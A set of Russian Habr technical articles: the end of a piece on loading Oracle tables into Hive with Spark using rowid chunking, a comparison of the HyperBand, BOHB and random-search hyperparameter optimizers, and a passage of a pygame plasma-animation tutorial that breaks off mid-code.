_PERSONAL_ID,GUR_COMPANY_REG_NUM,START_TIME_AT_BANK,GUR_BIRTH_DATE,GUR_TAX_NUMBER,REGISTER_IND,CONTACT_TELNO_2ND,CONTACT_TN_EXTNO_2ND,CONTACT_FAXNO_2ND,CONTACT_COUNTRY_CODE_2ND,CREDIT_CARD_IND,AUTHORIZED_SEC,LEGAL_NAME_FORM,'1024_12' data_chunk_id
FROM DWH.CUSTOMER t
WHERE ((rowid >= dbms_rowid.rowid_create(1, 510042, 1024, 129204224, 0) AND rowid <= dbms_rowid.rowid_create(1, 510042, 1024, 129417215, 32767)))
```
Таких запросов будет столько, сколько вами указано потоков загрузки. У этих запросов есть один минус – бывает, что количество FILE\_BATCH в десятки раз превышает число потоков, тем самым увеличивая количество UNION для одной сессии, и так как этот запрос выполняется на стороне Oracle, то это сказывается на производительности базы.
Запрос ничем не отличается от обычного селекта, который мы делали в нашей первой реализации Spark выгрузки, кроме того, по какому полю он фильтрует данные - rowid.
> Большие данные в билайн мы используем сразу в ряде наших продуктов для бизнеса — от сервисов по [продвижению](https://moskva.beeline.ru/business/beeline-prodvizhenie/) товаров и услуг до [аналитики](https://moskva.beeline.ru/business/analiz-dannyh/geoanalytics/) разного уровня.
>
>
Реализация быстрой загрузки с помощью Spark
-------------------------------------------
Опираясь на полученные знания о том, как строит свои запросы Sqoop, и проблемы, с которыми мы можем столкнуться при его использовании, напишем свою реализацию этого подхода выгрузки.
Пререквезиты:
Для ТУЗ, из-под которой будем делать загрузку, должны быть следующие права (этого требует и Sqoop):
```
grant select on v_$instance to user;
grant select on dba_tables to user;
grant select on dba_tab_columns to user;
grant select on dba_objects to user;
grant select on dba_extents to user;
grant select on dba_segments to user;
grant select on dba_constraints to user;
grant select on v_$database to user;
grant select on v_$parameter to user;
grant select on dba_tab_subpartitions to user;
```
Так как мы хотим написать переиспользуемое приложение, то параметризируем его:
```
//количество потоков
val cntSession = 8
//на сколько порций разделим нашу загрузку - аналог FILE_BATCH у Sqoop
val cntChunk = 512
//параметр JDBC подключения
val jdbcUrl = "jdbc:oracle:thin:@//10.31.178.66:1521/ORCL"
val fetchSize = 100000
val orclUsr = "user"
val orclPwd = "password"
//метаданные для источника
val orclSchema = "DWH"
val orclTable = "SERVICE_FEATURE"
val orclPartition = "SERVICE_FEATURE_MAX"
//метаданные для приёмника
val hivePath = "/warehouse/tablespace/external/hive/customer360_stg.db/service_feature_orcl"
val hiveTable = "customer360_stg.service_feature_orcl"
val trgNumFiles = 400
```
Реализуем получение метаинформации для наших чанков, добавив в запрос Sqoop дополнительную информацию о имени партиции, чтобы можно было выгружать отдельные партиции.
```
val etlDFChunkAll = spark.
read.
format("jdbc").
option("url", jdbcUrl).
option("user", orclUsr).
option("password", orclPwd).
option("driver", "oracle.jdbc.driver.OracleDriver").
option("dbtable",
s"""(
SELECT
data_object_id,
file_id,
relative_fno,
file_batch,
subobject_name,
MIN (start_block_id) start_block_id,
MAX (end_block_id) end_block_id,
SUM (blocks) blocks
FROM
(SELECT
o.data_object_id,
o.subobject_name,
e.file_id,
e.relative_fno,
e.block_id start_block_id,
e.block_id + e.blocks - 1 end_block_id,
e.blocks,
CEIL (SUM(e.blocks) OVER (PARTITION BY o.data_object_id, e.file_id ORDER BY e.block_id ASC) /
(SUM (e.blocks)OVER (PARTITION BY o.data_object_id,e.file_id) / $cntChunk)) file_batch
FROM
dba_extents e,
dba_objects o,
dba_tab_subpartitions tsp
WHERE
o.owner = '$orclSchema'
AND o.object_name = '$orclTable'
AND e.owner = '$orclSchema'
AND e.segment_name = '$orclTable'
AND o.owner = e.owner
AND o.object_name = e.segment_name
AND (o.subobject_name = e.partition_name
OR (o.subobject_name IS NULL
AND e.partition_name IS NULL))
AND o.owner = tsp.table_owner(+)
AND o.object_name = tsp.table_name(+)
AND o.subobject_name = tsp.subpartition_name(+))
GROUP BY
data_object_id,
file_id,
relative_fno,
file_batch,
subobject_name
ORDER BY data_object_id,
file_id,
relative_fno,
file_batch,
subobject_name)""").
load()
```
Определяем, если надо выгрузить только партицию.
```
val etlDFChunk =
if (orclPartition == "")
etlDFChunkAll
else etlDFChunkAll.
filter($"subobject_name" === orclPartition)
```
Получаем список полей (админы Oracle запрещают выгружать по \*)
```
val lstColumn = spark.
read.
format("jdbc").
option("url", jdbcUrl).
option("user", orclUsr).
option("password", orclPwd).
option("driver", "oracle.jdbc.driver.OracleDriver").
option("dbtable", s"( SELECT * FROM $orclSchema.$orclTable WHERE 1=0 )").
load().
columns.
toList
```
Реализуем функцию, которая генерирует запрос, и получим список сгруппированных запросов.
Каждая группа содержит столько запросов, сколько у нас должно быть потоков (8), чтобы каждая группа выполнялась в параллель.
```
def mkQuery(lstColumn: List[String]) = udf((data_object_id: Integer,
relative_fno: Integer,
start_block_id: Integer,
end_block_id: Integer) =>
s"""SELECT /*+ NO_INDEX(t) */
${lstColumn.mkString(", ")}
FROM
$orclSchema.$orclTable
WHERE
((rowid >= dbms_rowid.rowid_create(1, $data_object_id, $relative_fno, $start_block_id, 0)
AND rowid <= dbms_rowid.rowid_create(1, $data_object_id, $relative_fno, $end_block_id, 32767)))""")
val lstQueries = etlDFChunk.
withColumn("query",
mkQuery(lstColumn)($"data_object_id" cast (IntegerType),
$"relative_fno" cast (IntegerType),
$"start_block_id" cast (IntegerType),
$"end_block_id" cast (IntegerType))).
select($"relative_fno", $"file_batch" cast (IntegerType), $"query").
collect().
map(row => s"""${row.getInt(0)}_${row.getInt(1)}""" -> row.getString(2)).toMap.grouped(cntSession).
toList
```
Выполняем запросы в параллель, через параллельные коллекции Scala, записывая результаты во временную директорию.
```
lstQueries.foreach{ lst =>
val lstPar = lst.par
lstPar.tasksupport = new ForkJoinTaskSupport(new ForkJoinPool(cntSession))
lstPar.foreach{query =>
spark.
read.
format("jdbc").
option("url", jdbcUrl).
option("user", orclUsr).
option("password", orclPwd).
option("driver", "oracle.jdbc.driver.OracleDriver").
option("dbtable", s"( ${query._2} )").
option("fetchSize", fetchSize).
load().
write.
mode(SaveMode.Overwrite).
orc(s"${hivePath}_tmp/part_${query._1}")
}
}
```
Читаем полученный результат, объединяем, записываем в целевую таблицу, очищаем временную директорию.
```
val mapQuery = lstQueries.flatten.toMap
val trgDf = mapQuery.map { query =>
spark.
read.
orc(s"${hivePath}_tmp/part_${query._1}")
}.
reduce(_ union (_))
trgDf.
coalesce(trgNumFiles).
write.
mode(SaveMode.Overwrite).
option("path", hivePath).
format("orc").
saveAsTable(hiveTable)
val confFs = spark.sparkContext.hadoopConfiguration
val fs = FileSystem.get(confFs)
val path = new Path(s"${hivePath}_tmp")
if (fs.exists(path)) fs.delete(path, true)
}
```
**Результат работы:**
Потребляемые ресурсы: *9 Cores, 132GB RAM*
Время загрузки: *12 часов*
Итоги
-----
Как мы видим, всё-таки Spark можно, даже нужно использовать для загрузки данных, только стоит оптимально написать приложение и тогда результат будет на уровне Sqoop или лучше.
В этой статье рассмотрен один из вариантов того, как грузит Sqoop, возможно, есть и другие методы загрузки, которые он использует у себя под капотом. Но, используя такую методологию, всю эту магию можно реализовать в Spark. Возможно, вам это и не придётся делать и будет достаточно переиспользования кода этой статьи.
*P.S.* Код можно завернуть в jar, вынеся настройку через параметры, и использовать его в своих загрузках. | https://habr.com/ru/post/679876/ | null | ru | null |
# HyperBand и BOHB. Понимание современных алгоритмов оптимизации гиперпараметров
Специально к старту курса [«Машинное обучение»](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=251120) в этом материале представляем сравнение BOHB и HyperBand — двух передовых алгоритмов оптимизации гиперпараметров нейронной сети и простого случайного поиска оптимальных гиперпараметров. Сравнение выполняется с помощью платформы neptune.ai — инструмента для управления экспериментами в области ИИ. Рисунки, графики, таблицы результатов сравнения — всё это вы найдете под катом.
[](https://habr.com/ru/company/skillfactory/blog/528240/)
---
Если вы хотите больше узнать о современных алгоритмах оптимизации гиперпараметров (HPO), в этой статье я расскажу вам, что это такое и как они работают. Как исследователь ML я довольно много читал о них, а также использовал современные алгоритмы HPO, и я поделюсь с вами тем, что обнаружил.
Оглавление
----------
1. Немного о подходах HPO
2. Что такое байесовская оптимизация и почему этот метод эффективен?
3. Как работают современные алгоритмы оптимизации гиперпараметров?
4. HyperBand против BOHB
Немного о подходах HPO
----------------------
HPO — это метод, помогающий решить задачу настройки гиперпараметров алгоритмов машинного обучения. Выдающиеся алгоритмы ML имеют множество разных и сложных гиперпараметров, порождающих огромное пространство поиска. Многие стартапы предпочитают применять глубокое обучение в ядре своих конвейеров, а пространство поиска в методах глубокого обучения даже больше, чем у традиционных алгоритмов ML. Тонкая настройка в огромном пространстве поиска — сложная задача. Чтобы решить задачи HPO, мы должны применять основанные на данных методы. Ручные методы неэффективны. В этом смысле предлагалось множество подходов:
*Изображение из статьи [Automated Machine Learning: State-of-The-Art and Open Challenges](https://arxiv.org/abs/1906.02287)*
Мы обсудим четыре основных наиболее эффективных метода.
Байесовская оптимизация
-----------------------
Чтобы понимать байесовскую оптимизацию, мы должны немного знать о сеточном поиске и методах случайного поиска, хорошо объяснённых в [этой статье](https://www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf). Я просто напишу резюме этих методов.
Предположим, что пространство поиска состоит только из двух гиперпараметров, один из которых значим, а другой — нет. Мы хотим настроить их так, чтобы повысить точность модели. Если каждый из них имеет 3 разных значения, то всё пространство поиска имеет 9 возможных вариантов. Можно попробовать каждый из них, чтобы найти оптимальное значение для обоих гиперпараметров.
*Изображение из статьи [Random Search for Hyper-Parameter Optimization](https://www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf)*
Но, как видно на рисунке выше, методом сеточного поиска лучшее значение для важного гиперпараметра не найдено. Одним из решений этой проблемы может быть случайное прохождение по пространству поиска, как показано на рисунке ниже.
*Изображение из статьи [Random Search for Hyper-Parameter Optimization](https://www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf)*
### Почему байесовская оптимизация эффективна?
Случайный поиск в конечном счёте приводит к оптимальному ответу, но это просто случайный поиск. Есть ли способ поиска разумнее? Да, есть, это байесовская оптимизация, предложенная [J. Mockus](https://link.springer.com/chapter/10.1007%2F978-3-662-38527-2_55). Вы найдёте более подробную информацию о байесовской оптимизации в [Bayesian Optimization Primer](https://static.sigopt.com/b/20a144d208ef255d3b981ce419667ec25d8412e2/static/pdf/SigOpt_Bayesian_Optimization_Primer.pdf) и в [Practical Bayesian Optimization of Machine Learning Algorithms](http://papers.nips.cc/paper/4522-practical-bayesian-optimization).
В сущности байесовская оптимизация — это вероятностная модель, которая изучает дорогостоящую целевую функцию путём обучения на основе предыдущих наблюдений. Она имеет две мощные особенности: суррогатную модель и функцию сбора данных.
*Изображение из главы [Hyperparameter Optimization](https://link.springer.com/chapter/10.1007/978-3-030-05318-5_1) книги об AutoML, авторы Матиас Фойер, Фрэнк Хаттер*
На рисунке выше видно хорошее объяснение байесовской оптимизации, основанное на главе об оптимизации гиперпараметров из книги [Automated Machine Learning](https://link.springer.com/chapter/10.1007/978-3-030-05318-5_1). На этом рисунке мы хотим найти истинную целевую функцию, показанную в виде пунктирной линии. Представьте себе, что у нас есть один непрерывный гиперпараметр, и на второй итерации мы наблюдали две чёрные точки, а затем установили суррогатную (регрессионную) модель, которая показана чёрной линией. Синяя область вокруг чёрной линии — это неопределённость.
Кроме того, у нас есть функция сбора. Эта функция — способ, которым мы исследуем пространство поиска для нахождения нового оптимального значения наблюдения. Другими словами, функция сбора помогает улучшить суррогатную модель и выбрать следующее значение. На изображении выше функция сбора данных показана в виде оранжевой кривой. Максимальное значение функции сбора означает, что неопределённость максимальна, а прогнозируемое значение невелико.
### Байесовская оптимизация: за и против
Ключевое преимущество байесовской оптимизации — это то, что она может очень хорошо работать с функцией чёрного ящика. Кроме того, БО эффективна в отношении данных и устойчива к шуму. Но она не может хорошо работать с параллельными ресурсами в дуэте, поскольку процесс оптимизации последователен.
*Кадр из [лекции Мариуса Линдауэра](https://youtu.be/3_E4A4G7nME) на открытой конференции по Data Science*
### Реализации байесовской оптимизации
Пришло время посмотреть некоторые реализации Байесовской оптимизации. Я перечислил самые популярные из них:
| Название реализации | Суррогатная модель | Ссылки |
| --- | --- | --- |
| SMAC | Случайный лес | [Статья](https://www.cs.ubc.ca/~hutter/papers/10-TR-SMAC.pdf), [GitHub](https://github.com/automl/SMAC3) |
| HYPEROPT | Tree Parzen estimator | [Статья](http://proceedings.mlr.press/v28/bergstra13.pdf), [GitHub](https://github.com/hyperopt/hyperopt) |
| MOE | Гауссовский процесс | [Статья](https://mlconf.com/sessions/introducing-the-metric-optimization-engine-moe/), [GitHub](https://github.com/Yelp/MOE) |
| scikit-optimize | Гауссовский процесс, случайный лес и т.д. | [GitHub](https://github.com/scikit-optimize/scikit-optimize) |
Оптимизация Multi Fidelity
--------------------------
В байесовском методе оценка целевой функции стоит очень дорого. Есть ли более дешёвый способ оценить целевую функцию? Ответ на этот вопрос — методы оптимизации Multi Fidelity. Я расскажу вам о:
1. Последовательное деление пополам
2. HyperBand
3. BOHB
В качестве дополнительного ресурса: в следующем видео Андреас Мюллер прекрасно объяснил методы оптимизации Multi Fidelity.
*[Андреас Мюллер](https://www.youtube.com/channel/UCMEXgDffQy6nS2a74Gby8ZA): [Applied Machine Learning 2019](https://youtu.be/tqtTHRwa8dE)*
Последовательное деление на два
-------------------------------
Последовательное деление пополам пытается дать наибольший бюджет наиболее перспективным методам. Метод предполагает, что всё конфигурирование можно остановить на ранней стадии и получить оценку валидации.
Представьте, что у вас есть N различных конфигураций и бюджет ß (например время). Как видно на рисунке ниже, в каждой итерации последовательное деление пополам сохраняет лучшую половину конфигураций и отбрасывает половину не самых удачных алгоритмов. Это продолжается до тех пор, пока мы не получим одну-единственную конфигурацию. Метод завершает работу, когда достигает максимума своего бюджета.
*Рисунок из [поста](https://www.automl.org/blog-2nd-automl-challenge/) в блоге automl.org*
Последовательное деление пополам впервые предложено в статье Кевина Джеймисона и Амита Талвалкара [Non-stochastic Best Arm Identification and Hyperparameter Optimization](http://proceedings.mlr.press/v51/jamieson16.pdf).
### В чем проблема последовательного деления пополам?
В последовательном делении пополам существует компромисс между тем, сколько конфигураций нужно выбрать в начале, и тем, сколько разрезов нужно. В следующем разделе вы увидите, как эту проблему решает Hyperband.
HyperBand
---------
Этот метод — расширение последовательных алгоритмов деления пополам, предложенное в статье [Novel Bandit-Based Approach to Hyperparameter Optimization](https://arxiv.org/abs/1603.06560) от Лиши Ли и других авторов.
Я уже упоминал, что метод последовательного деления пополам страдает из-за компромисса между выбором числа конфигураций и распределением бюджета. Чтобы решить эту проблему, HyperBand для поиска наилучших конфигураций предлагает часто выполнять последовательное деление пополам с различными бюджетами. На рисунке ниже видно, что HyperBand производительнее по сравнению со случайным поиском.
*Рисунок из [блога](https://www.automl.org/blog-2nd-automl-challenge/) automl.org*
Простую реализацию HyperBand можно найти в репозитории [HpBandSter](https://github.com/automl/HpBandSter) от [automl.org](https://github.com/automl). Если вам интересно, как применять этот инструмент на Python, ознакомьтесь с [документацией](https://automl.github.io/HpBandSter/build/html/optimizers.html).
BOHB
----
BOHB — передовой алгоритм оптимизации гиперпараметров, предложенный в работе [BOHB: Robust and Efficient Hyperparameter Optimization at Scale](https://arxiv.org/abs/1807.01774), написанной Стефаном Фолкнером, Аароном Кляйном и Фрэнком Хаттером. Идея BOHB основана на одном простом вопросе: почему мы постоянно выполняем последовательное деление пополам?
Вместо слепого повторения последовательного деления пополам BOHB использует алгоритм байесовской оптимизации. На самом деле BOHB сочетает в себе HyperBand и байесовскую оптимизацию, чтобы эффективно использовать оба этих алгоритма. Дэн Райан прекрасно объясняет метод BOHB [в своей презентации](https://youtu.be/IqQT8se9ofQ).
*Отличная [презентация](https://youtu.be/IqQT8se9ofQ) Дэна Райана об эффективной и гибкой оптимизации гиперпараметров на PyData Miami 2019*
BOHB — это метод оптимизации Multi Fidelity, такие методы зависят от бюджета, поэтому важно найти его косвенные издержки. С другой стороны, BOHB надёжен, гибок и масштабируем. Если вам нужна более подробная информация, взгляните на официальный [пост](https://www.automl.org/blog_bohb/) в блоге о BOHB от Андре Биденкаппа и Фрэнка Хаттера.
Кроме того, [HpBandSter](https://github.com/automl/HpBandSter) — это хорошая реализация BOHB и HyperBand. Документация по BOHB находится [здесь](https://automl.github.io/HpBandSter/build/html/optimizers/bohb.html).
Случайный поиск, HyperBand и BOHB результаты сравнения в Neptune
----------------------------------------------------------------
Теперь, когда мы знакомы со всеми этими методами, воспользуемся [Neptune](https://ui.neptune.ai/mjbahmani/HyperBand-BOHB) и проведём некоторые эксперименты и сравнения. Если вы хотите провести эксперименты вместе со мной, то:
* Установите [HpBandSter](https://github.com/automl/HpBandSter) на локальную машину.
* Воспользуйтесь примером [по этой ссылке](https://automl.github.io/HpBandSter/build/html/auto_examples/example_5_mnist.html).
* Установите бюджет конфигурации.
* Выполните один и тот же эксперимент с каждым оптимизатором.
* [Следите за экспериментами с помощью Neptune.](https://docs.neptune.ai/index.html)
Поскольку я решил провести эксперименты в равных условиях, я использовал [HpBandSter](https://github.com/automl/HpBandSter), который имеет реализацию BOHB, с Hyperband и RandomSearch в качестве оптимизатора. Официальный пример можно найти [здесь](https://automl.github.io/HpBandSter/build/html/auto_examples/example_5_mnist.html). Основываясь на этом примере, мы имеем небольшую свёрточную нейронную сеть на Pytorch, которая настроена для набора данных [MNIST](https://en.wikipedia.org/wiki/MNIST_database). Я запустил этот пример с тремя оптимизаторами:
1. BOHB.
2. HyperBand.
3. RandomSearch.
Для каждого оптимизатора я использовал следующие бюджеты:
| Конфигурации | Значение диапазона |
| --- | --- |
| Минимальный бюджет | [1] |
| Максимальный бюджет | [1,2,3,4,5] |
| Число итераций | [1,2,3,4,8,10] |
Это означает, что для изучения возможностей оптимизаторов мы запустили различные комбинации по крайней мере 26 экспериментов. Кроме того, в этом примере мы хотим найти наилучшую конфигурацию для CNN на основе следующих гиперпараметров.
| Название параметра | Диапазон |
| --- | --- |
| Скорость обучения | [1e-6, 1e-2] |
| Количество слоев свертки | [1,3] |
| Количество фильтров в первом слое конфигурации | [4, 64] |
| Процент отсева | [0, 0.9] |
| Количество скрытых нейронов в полносвязном слое | [8,256] |
*Конфигурация взята из [документации hpbandster](https://automl.github.io/HpBandSter/build/html/auto_examples/example_5_pytorch_worker.html)*
Проведя эти эксперименты с различными конфигурациями в Neptune, я получил содержательные результаты.
[*Все эксперименты в Neptune*](https://ui.neptune.ai/mjbahmani/HyperBand-BOHB/experiments?viewId=9b273e07-5189-4333-8197-e913931c97de)
Здесь мы видим неплохой контраст между оптимизаторами при `n_iteration=3` и `max_budget=3`. Я считаю, что, если увеличу количество итераций, все оптимизаторы в конечном счёте станут производительнее, но при значительном бюджете лучше работает BOHB.
*Сравнение BOHB, HyperBand и случайного поиска для `n_iteration=3` и `max_budget=3`*
В конечном счете при `max_budget=5` и `n_iteration=4` каждый оптимизатор находит одну лучшую конфигурацию, которую вы можете проверить в следующей таблице.
| Гиперпараметр | Диапазон перед настройкой | После настройки – случайный поиск | После настройки – HyperBand | После настройки – BOHB |
| --- | --- | --- | --- | --- |
| Скорость обучения | [1e-6, 1e-2] | 0.010 | 0.00031 | 0.0078 |
| Количество слоев свертки | [1,3] | 2 | 1 | 1 |
| Количество фильтров в первом слое конфигурации | [4, 64] | 13 | 9 | 28 |
| Процент отсева | [0, 0.9] | 0.77 | 0.06 | 0.31 |
| Количество скрытых нейронов в полносвязном слое | [8,256] | 177 | 248 | 15 |
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Обучение профессии Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=251120)
* [Обучение профессии Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=251120)
* [Онлайн-буткемп по Data Analytics](https://skillfactory.ru/business-analytics-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DACAMP&utm_term=regular&utm_content=251120)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=251120)
**Eще курсы**
* [Обучение профессии C#-разработчик](https://skillfactory.ru/csharp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CDEV&utm_term=regular&utm_content=251120)
* [Продвинутый курс «Machine Learning Pro + Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=251120)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=251120)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=251120)
* [Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=251120)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=251120)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=251120)
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=251120)
* [C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=251120)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=251120)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=251120)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=251120)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=251120)
Рекомендуемые статьи
--------------------
* [Сколько зарабатывает дата-сайентист: обзор зарплат и вакансий в 2020](https://habr.com/ru/company/skillfactory/blog/529112/)
* [Сколько зарабатывает аналитик данных: обзор зарплат и вакансий в 2020](https://habr.com/ru/company/skillfactory/blog/520540/)
* [Как стать Data Scientist без онлайн-курсов](https://habr.com/ru/company/skillfactory/blog/507024)
* [450 бесплатных курсов от Лиги Плюща](https://habr.com/ru/company/skillfactory/blog/503196/)
* [Как изучать Machine Learning 5 дней в неделю 9 месяцев подряд](https://habr.com/ru/company/skillfactory/blog/510444/)
* [Machine Learning и Computer Vision в добывающей промышленности](https://habr.com/ru/company/skillfactory/blog/522776/) | https://habr.com/ru/post/528240/ | null | ru | null |
# Разбираем алгоритмы компьютерной графики. Часть 6 — Анимация «Плазма»
Разновидностей алгоритмов генерации "плазм" столько же, сколько, наверное, звезд на небе. Но связывает их вместе принцип плавного формирования перехода цветов.
Для бесшовного формирования цвета очень часто используются тригонометрические функции. Во-первых, потому что они периодические, т.е. через определенный промежуток значения функции повторяются, а во-вторых, они возвращают непрерывные значения, т.е. бесконечно малому приращению аргумента соответствует бесконечно малое приращение функции. Благодаря этому можно используя простые комбинации функций получать плавное возрастание и убывание цветов.
Я попробую рассмотреть один из вариантов, который использует функции синуса и косинуса.
Сначала произведем небольшую оптимизацию. Вычисления тригонометрических функций довольно накладное для процессора занятие. А поскольку таких вычислений на каждом кадре анимации придется делать по нескольку штук, то желательно нужные нам значения рассчитать заранее.
Еще раз напомню, что функции синуса и косинуса – периодические. Их наименьший интервал, через который они начинают повторять значения, это 360 градусов или **2 \* Пи**.
Поэтому, чтобы запомнить только уникальные значения (все остальные можно вычислить на их основе) достаточно рассчитать кусочек от 0 до **2 \* Пи**.
Нужный нам кусочек из общего графика функции sin и cosСделаем по 255 значений для каждой из функций. Для этого создадим два списка по 255 значений в каждом.
```
sintab = [] # Таблица заранее просчитанных значений синусов
costab = [] # и косинусов.
# Заполняем начальными значениями таблицы sin и cos
for index in range(0, 255):
sintab.append(math.sin(index * Pi2 / 255.0))
costab.append(math.cos(index * Pi2 / 255.0))
```
Для того чтобы значения синуса и косинуса были в диапазоне от 0 до 1, разделим наш счетчик **index** на 255. А чтобы внутри массива получился только один период значений функций - умножим аргумент еще на **2 \* Пи**.
Теперь внутри массивов мы имеем кусочки синусоиды и косинусоиды по одному полному колебанию.
Подобный подход к работе с тригонометрическими функциями, очень часто используется при программировании демо-работ, для оптимизации скорости выполнения программ.
Дополнительно сделаем обратную процедуру, напишем функцию, которая по значению на вход, будет возвращать индекс из нашего массива, который бы соответствовал входному значению, но после получения остатка от деления на длину нашего массива. Звучит очень сложно, но попробую объяснить на пальцах, ну или на картинках:
Пусть у нас есть массив из трех элементов:
Есть число **5**, которое мы хотим применить к нашему массиву и понять как бы оно расположилось на нашем массиве, если взять от него остаток от деления по длине нашего массива. Число **5** можно представить, как еще один массив:
Уберем из нашего второго массива длину первого:
Остается два элемента:
И пытаемся их совместить с нашим первоначальном массивом:
Таким образом наше число **5**, попадает на ячейку с номером **2**.
Вот кратко суть функции по высчитыванию индекса в массиве. В нашем случае будем вычислять индекс для диапазона от 0 до **2 \* Пи**.
```
def getInd(num):
return int(((255.0 * (num % Pi2) / Pi2)))
```
Функция вернет целое значение в диапазоне от 0 до 255, получая на вход какое-то число и подставляя его в диапазон от 0 до **2 \*** **Пи**, который разбит на 255 частей.
А вот дальше уже пойдет почти "магия", поскольку мы начнем получать цветовые характеристики точек по формулам с использованием тригонометрических функций. Почему "магия"? Потому, что объяснить некоторые вещи не до конца получается, во всяком случае у меня. Просто при каких-то сочетаниях функций и арифметических действий - результат будет довольно красивым. И здесь зачастую приходится действовать эмпирическим путем.
Но обо всем по порядку.
Плазма не должна быть статичной! Чтобы этого добиться, нужно на каждой итерации обновления экрана и генерации кадра изображения, добавлять какую-то динамическую составляющую в расчет картинки.
Создадим переменную **t** (по умолчанию равная 0), в которой будет накапливаться сдвиг для генерации изображения. Пусть эта переменная, на каждом кадре изменяется на значение delta:
И как только переменная **t** превысит значение **2 \* Пи**, то будем сбрасывать ее в 0. Т.е. она по кругу будет проходить через 255 значений, пока не доберется до **2 \* Пи**.
Приступаем к генерации изображения, сначала размещу часть кода, затем поясню:
```
for i in range(0, MY):
y = i / MY
for j in range(0, MX):
x = j / MX
# Вычисляем цветовые коэффициенты и затем сами цветовые составляющие
a1 = 8.0 * sintab[getInd(x + t)]
a2 = 7.0 * costab[getInd(x + t)]
a3 = 6.0 * sintab[getInd(x + t)]
r = int(100 * abs(sintab[getInd(a1 * x + t)] + costab[getInd(a1 * y - t)]))
g = int(100 * abs(costab[getInd(a2 * x - t)] + sintab[getInd(a2 * y + t)]))
b = int(100 * abs(sintab[getInd(a3 * x + t)] + costab[getInd(a3 * y - t)]))
pygame.draw.rect(screen, (r, g, b), (i*scale, j*scale, scale, scale))
```
Итоговая анимация плазмы будет вот такая:
Цвета на gif немного искажены, в True color у меня не удалось ее сделатьУ нас есть два вложенных цикла. Первый проходит по строкам изображения, второй по колонкам. Пересечение этих циклов - это обрабатываемая точка на экране с координатой **i,j**. Формируем для каждой из этих координат, ее аналог, но выравненный по диапазону от 0 до 1. Делается это просто делением на ширину первоначального диапазона, для **y**, это **i / MY,** для **x**, это **j / MX.**
Теперь добавим "хаоса" в генерацию изображения. Сделаем три коэффициента для трех составляющих цвета: **a1** для красного (**red**), **a2** для зеленого (**green**), **a3** для синего (**blue**).
Вычисляем их по следующему принципу: получаем значение индекса для координаты **x + t** и получаем значение синуса или косинуса для этого индекса. Полученное значение умножаем на произвольный коэффициент. На самом деле это число поможет нам изменять количество волн на экране.
Например:
a1 \* 18a2 \* 17a3 \* 16Все три коэффициента умноженные на значения перечисленные выше, одновременноКак видите, здесь можно играть коэффициентами как угодно, результат аналитически просчитать заранее сложно.
Но это мы пока вычисляли коэффициенты, теперь используем их при вычислении цветов **r, g, b**.
Мы опять применим сочетания синусов и косинусов взятые из таблиц, но с учетом добавления туда коэффициентов **a**. Что именно использовать **cos** или **sin** не сильно принципиально, просто их смещение в разных сочетаниях дает интересные результаты.
Умножение на **100** здесь служит для того, чтобы дробное значение цвета привести к диапазону от 0 до 255, в котором его обрабатывает библиотека PyGame.
Советую "поиграться" коэффициентами, расположением функций sin и cos. Получаются очень примечательные картины.
Итоговый код:
```
import pygame
import math
MX = MY = 256 # Размер массива с плазмой
Pi2 = math.pi * 2.0 # Просто константа 2 * Пи для простоты и скорости
scale = 4 # Масштаб точек для вывода на экран
SX = MX * scale # Размер экрана исходя из размера плазмы и ее масштаба
SY = MY * scale
pygame.init()
screen = pygame.display.set_mode((SX, SY))
running = True
sintab = [] # Таблица заранее просчитанных значений синусов
costab = [] # и косинусов.
# Заполняем начальными значениями таблицы sin и cos
for index in range(0, 255):
sintab.append(math.sin(index * Pi2 / 255.0))
costab.append(math.cos(index * Pi2 / 255.0))
t = 0 # Сдвиг для получения анимации
delta = Pi2 / 255.0 # Шаг нашего сдвига, на каждом кадре анимации
# -------------------------------------------------------------------------------------------------------
# Возвращаем индекс в диапазоне от 0 до 255, которое занимало бы число num, если бы его располагали от
